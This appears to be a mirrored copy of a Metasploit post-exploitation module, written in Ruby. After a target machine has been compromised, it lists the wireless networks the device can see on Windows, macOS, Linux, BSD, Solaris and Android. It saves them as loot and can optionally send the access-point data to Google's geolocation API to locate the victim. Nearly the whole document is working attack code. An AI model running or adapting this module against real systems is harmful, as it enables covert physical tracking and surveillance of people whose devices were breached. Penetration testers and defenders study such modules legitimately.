CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/wlan_geolocate.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
13
'Description' => %q{
14
Enumerate wireless networks visible to the target device.
15
Optionally geolocate the target by gathering local wireless networks and
16
performing a lookup against Google APIs.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
20
'Platform' => %w[android osx win linux bsd solaris],
21
'SessionTypes' => [ 'meterpreter', 'shell' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
android_*
26
]
27
}
28
}
29
)
30
)
31
32
register_options(
33
[
34
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
35
OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
36
]
37
)
38
end
39
40
def get_strength(quality)
41
# Convert the signal quality to signal strength (dbm) to be sent to
42
# Google. Docs indicate this should subtract 100 instead of the 95 I
43
# am using here, but in practice 95 seems to be closer.
44
signal_str = quality.to_i / 2
45
signal_str = (signal_str - 95).round
46
return signal_str
47
end
48
49
def parse_wireless_win(listing)
50
wlan_list = []
51
raw_networks = listing.split("\r\n\r\n")
52
53
raw_networks.each do |network|
54
details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
55
if !details.nil?
56
strength = get_strength(details[3])
57
wlan_list << [ details[2], details[1], strength ]
58
end
59
end
60
61
return wlan_list
62
end
63
64
def parse_wireless_linux(listing)
65
wlan_list = []
66
raw_networks = listing.split('Cell ')
67
68
raw_networks.each do |network|
69
details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
70
if !details.nil?
71
wlan_list << [ details[1], details[3], details[2] ]
72
end
73
end
74
75
return wlan_list
76
end
77
78
def parse_wireless_osx(listing)
79
wlan_list = []
80
raw_networks = listing.split("\n")
81
82
raw_networks.each do |network|
83
network = network.strip
84
details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
85
if !details.nil?
86
wlan_list << [ details[2], details[1], details[3] ]
87
end
88
end
89
90
return wlan_list
91
end
92
93
def perform_geolocation(wlan_list)
94
if wlan_list.blank?
95
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
96
return
97
elsif datastore['APIKEY'].empty?
98
print_error('Google API key is required.')
99
return
100
end
101
g = Rex::Google::Geolocation.new
102
g.set_api_key(datastore['APIKEY'])
103
wlan_list.each do |wlan|
104
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
105
end
106
107
begin
108
g.fetch!
109
rescue RuntimeError => e
110
print_error("Error: #{e}")
111
else
112
print_status(g.to_s)
113
print_status("Google Maps URL: #{g.google_maps_url}")
114
end
115
end
116
117
# Run Method for when run command is issued
118
def run
119
case session.platform
120
when 'windows'
121
listing = cmd_exec('netsh wlan show networks mode=bssid')
122
if listing.nil?
123
print_error('Unable to generate wireless listing.')
124
return nil
125
else
126
store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
127
# The wireless output does not lend itself to displaying on screen for this platform.
128
print_good('Wireless list saved to loot.')
129
if datastore['GEOLOCATE']
130
wlan_list = parse_wireless_win(listing)
131
perform_geolocation(wlan_list)
132
return
133
end
134
end
135
136
when 'osx'
137
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
138
if listing.nil?
139
print_error('Unable to generate wireless listing.')
140
return nil
141
else
142
store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
143
print_good("Target's wireless networks:\n\n#{listing}\n")
144
if datastore['GEOLOCATE']
145
wlan_list = parse_wireless_osx(listing)
146
perform_geolocation(wlan_list)
147
return
148
end
149
end
150
151
when 'linux'
152
listing = cmd_exec('iwlist scanning')
153
if listing.nil?
154
print_error('Unable to generate wireless listing.')
155
return nil
156
else
157
store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
158
# The wireless output does not lend itself to displaying on screen for this platform.
159
print_good('Wireless list saved to loot.')
160
if datastore['GEOLOCATE']
161
wlan_list = parse_wireless_linux(listing)
162
perform_geolocation(wlan_list)
163
return
164
end
165
end
166
167
when 'solaris'
168
listing = cmd_exec('dladm scan-wifi')
169
if listing.blank?
170
print_error('Unable to generate wireless listing.')
171
return nil
172
else
173
store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
174
print_good("Target's wireless networks:\n\n#{listing}\n")
175
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
176
return
177
end
178
179
when 'bsd'
180
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
181
# Printing interface as this platform requires the interface to be specified
182
# it might not be detected correctly.
183
print_status("Found wireless interface: #{interface}")
184
listing = cmd_exec("ifconfig #{interface} scan")
185
if listing.blank?
186
print_error('Unable to generate wireless listing.')
187
return nil
188
else
189
store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
190
print_good("Target's wireless networks:\n\n#{listing}\n")
191
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
192
return
193
end
194
when 'android'
195
log = client.android.wlan_geolocate
196
listing = ''
197
wlan_list = []
198
log.each do |x|
199
mac = x['bssid']
200
ssid = x['ssid']
201
ss = x['level'].to_s
202
listing += "BSSID: #{mac}\n"
203
listing += "SSID: #{ssid}\n"
204
listing += "Strength: #{ss}\n\n"
205
wlan_list << [mac, ssid, ss]
206
end
207
if listing.blank?
208
print_error('Unable to generate wireless listing.')
209
return nil
210
end
211
store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
212
print_good("Target's wireless networks:\n\n#{listing}\n")
213
if datastore['GEOLOCATE']
214
perform_geolocation(wlan_list)
215
return
216
end
217
else
218
print_error("The target's platform, #{session.platform}, is not supported at this time.")
219
return nil
220
end
221
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
222
rescue ::Exception => e
223
print_status("The following Error was encountered: #{e.class} #{e}")
224
end
225
226
end
227
228